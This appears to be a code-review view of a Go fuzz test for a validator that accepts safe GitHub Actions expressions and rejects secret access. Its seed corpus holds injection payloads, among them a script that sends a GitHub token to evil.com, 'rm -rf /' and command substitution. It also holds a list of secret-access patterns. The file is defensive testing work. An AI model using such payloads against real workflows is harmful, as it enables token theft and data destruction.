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| import ( | ||
| "strings" | ||
| "testing" | ||
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| // FuzzExpressionParser performs fuzz testing on the GitHub expression parser | ||
| // to validate security controls against malicious expression injection attempts. | ||
| // | ||
| // The fuzzer validates that: | ||
| // 1. Allowed GitHub expressions are correctly accepted | ||
| // 2. Unauthorized expressions (secrets) are properly rejected | ||
| // 3. Malicious injection attempts are blocked | ||
| // 4. Parser handles all fuzzer-generated inputs without panic | ||
| // 5. Edge cases are handled correctly (empty, very long, nested delimiters) | ||
| func FuzzExpressionParser(f *testing.F) { | ||
| // Seed corpus with allowed GitHub expressions from security allowlist | ||
| // These should all pass validation | ||
| f.Add("This is a workflow: ${{ github.workflow }}") | ||
| f.Add("Repository: ${{ github.repository }}") | ||
| f.Add("Run ID: ${{ github.run_id }}") | ||
| f.Add("Actor: ${{ github.actor }}") | ||
| f.Add("Issue number: ${{ github.event.issue.number }}") | ||
| f.Add("PR number: ${{ github.event.pull_request.number }}") | ||
| f.Add("Task output: ${{ needs.activation.outputs.text }}") | ||
| f.Add("Step output: ${{ steps.my-step.outputs.result }}") | ||
| f.Add("User input: ${{ github.event.inputs.name }}") | ||
| f.Add("Env variable: ${{ env.MY_VAR }}") | ||
| f.Add("Workflow input: ${{ inputs.branch }}") | ||
| f.Add("Multiple: ${{ github.workflow }}, ${{ github.repository }}") | ||
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| // Complex allowed expressions with logical operators | ||
| f.Add("Complex: ${{ github.workflow && github.repository }}") | ||
| f.Add("OR expression: ${{ github.workflow || github.repository }}") | ||
| f.Add("NOT expression: ${{ !github.workflow }}") | ||
| f.Add("Nested: ${{ (github.workflow && github.repository) || github.run_id }}") | ||
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| // Seed corpus with potentially malicious injection attempts | ||
| // These should all fail validation | ||
| f.Add("Token injection: ${{ secrets.GITHUB_TOKEN }}") | ||
| f.Add("Secret injection: ${{ secrets.API_KEY }}") | ||
| f.Add("Secret with underscores: ${{ secrets.MY_SECRET_KEY }}") | ||
| f.Add("Mixed valid and invalid: ${{ github.workflow }} and ${{ secrets.TOKEN }}") | ||
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| // Script tag injection attempts | ||
| f.Add("Script tag: ${{ github.workflow }}<script>alert('xss')</script>") | ||
| f.Add("Inline script: <script>fetch('evil.com?token=${{ secrets.GITHUB_TOKEN }}')</script>") | ||
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| // Command injection patterns | ||
| f.Add("Command injection: ${{ github.workflow }}; rm -rf /") | ||
| f.Add("Backticks: ${{ github.workflow }}`whoami`") | ||
| f.Add("Dollar paren: ${{ github.workflow }}$(whoami)") | ||
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| // Edge cases with empty or malformed expressions | ||
| f.Add("Empty expression: ${{ }}") | ||
| f.Add("Just whitespace: ${{ }}") | ||
| f.Add("No content between braces") | ||
| f.Add("Single brace: ${ github.workflow }") | ||
| f.Add("No closing: ${{ github.workflow") | ||
| f.Add("No opening: github.workflow }}") | ||
| f.Add("Reversed braces: }}{{ github.workflow") | ||
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| // Nested delimiters and special characters | ||
| f.Add("Nested braces: ${{ ${{ github.workflow }} }}") | ||
| f.Add("Triple nested: ${{ ${{ ${{ github.workflow }} }} }}") | ||
| f.Add("Unicode: ${{ github.workflow }}™©®") | ||
| f.Add("Newlines: ${{ github.workflow\n}}") | ||
| f.Add("Multiline: ${{ github.\nworkflow }}") | ||
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| // Very long expressions to test buffer handling | ||
| f.Add("Very long valid: ${{ github.event.pull_request.head.repo.full_name }}") | ||
| longExpression := "Long expression: ${{ " | ||
| for i := 0; i < 100; i++ { | ||
| longExpression += "github.workflow && " | ||
| } | ||
| longExpression += "github.repository }}" | ||
| f.Add(longExpression) | ||
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| // Expressions with excessive whitespace | ||
| f.Add("Lots of spaces: ${{ github.workflow }}") | ||
| f.Add("Tabs and spaces: ${{ \t\t github.workflow \t\t }}") | ||
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| // Mixed valid and invalid patterns | ||
| f.Add("Valid then invalid: ${{ github.workflow }} ${{ secrets.TOKEN }}") | ||
| f.Add("Invalid then valid: ${{ secrets.TOKEN }} ${{ github.workflow }}") | ||
| f.Add("Sandwiched: ${{ github.workflow }} text ${{ secrets.TOKEN }} more ${{ github.repository }}") | ||
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| // Function-like patterns | ||
| f.Add("Function pattern: ${{ toJson(github.workflow) }}") | ||
| f.Add("Contains function: ${{ contains(github.workflow, 'test') }}") | ||
| f.Add("StartsWith: ${{ startsWith(github.workflow, 'ci') }}") | ||
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| // Comparison expressions | ||
| f.Add("Equality: ${{ github.workflow == 'ci' }}") | ||
| f.Add("Inequality: ${{ github.workflow != 'test' }}") | ||
| f.Add("Complex comparison: ${{ github.workflow == 'ci' && github.repository != 'test' }}") | ||
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| // Ternary expressions | ||
| f.Add("Ternary: ${{ github.workflow ? 'yes' : 'no' }}") | ||
| f.Add("Complex ternary: ${{ github.workflow == 'ci' ? github.repository : 'default' }}") | ||
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| // Property access with unauthorized context | ||
| f.Add("Unauthorized property: ${{ github.token }}") | ||
| f.Add("Unauthorized event: ${{ github.event.token }}") | ||
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| // SQL injection patterns (should not matter but test defensively) | ||
| f.Add("SQL injection: ${{ github.workflow }}' OR '1'='1") | ||
| f.Add("SQL comment: ${{ github.workflow }}--") | ||
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| // URL encoding attempts | ||
| f.Add("URL encoded: ${{ github.workflow }}%3Cscript%3E") | ||
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| // Null bytes and control characters | ||
| f.Add("Null byte: ${{ github.workflow }}\x00") | ||
| f.Add("Control chars: ${{ github.workflow }}\x01\x02\x03") | ||
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| f.Fuzz(func(t *testing.T, content string) { | ||
| // The fuzzer will generate variations of the seed corpus | ||
| // and random strings to test the parser | ||
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| // This should never panic, even on malformed input | ||
| err := validateExpressionSafety(content) | ||
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| // We don't assert on the error value here because we want to | ||
| // find cases where the function panics or behaves unexpectedly. | ||
| // The fuzzer will help us discover edge cases we haven't considered. | ||
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| // However, we can do some basic sanity checks: | ||
| // If the content contains known unauthorized patterns, it should error | ||
| if containsUnauthorizedPattern(content) { | ||
| // We expect an error for unauthorized expressions | ||
| // But we don't require it because the fuzzer might generate | ||
| // content that our simple pattern check misidentifies | ||
| _ = err | ||
| } | ||
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| // If the error is not nil, it should be a proper error message | ||
| if err != nil { | ||
| // The error should be non-empty | ||
| if err.Error() == "" { | ||
| t.Errorf("validateExpressionSafety returned error with empty message") | ||
| } | ||
| } | ||
| }) | ||
| } | ||
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| // containsUnauthorizedPattern checks if the content contains patterns | ||
| // that should be rejected by the expression validator. | ||
| // This is a simple heuristic check for the fuzzer. | ||
| func containsUnauthorizedPattern(content string) bool { | ||
| // Check for common unauthorized patterns | ||
| unauthorizedPatterns := []string{ | ||
| "secrets.GITHUB_TOKEN", | ||
| "secrets.API_KEY", | ||
| "secrets.TOKEN", | ||
| "secrets.MY_SECRET", | ||
| "github.token", | ||
| } | ||
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| for _, pattern := range unauthorizedPatterns { | ||
| if strings.Contains(content, pattern) { | ||
| return true | ||
| } | ||
| } | ||
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| return false | ||
| } | ||
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The
containsUnauthorizedPatternhelper function uses a manual substring search implementation instead of the standard library'sstrings.Containsfunction. This is unnecessarily complex and less performant.Consider using:
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Updated to use
strings.Containsinstead of manual substring search in commit 13cfd0c. This simplifies the code and improves performance.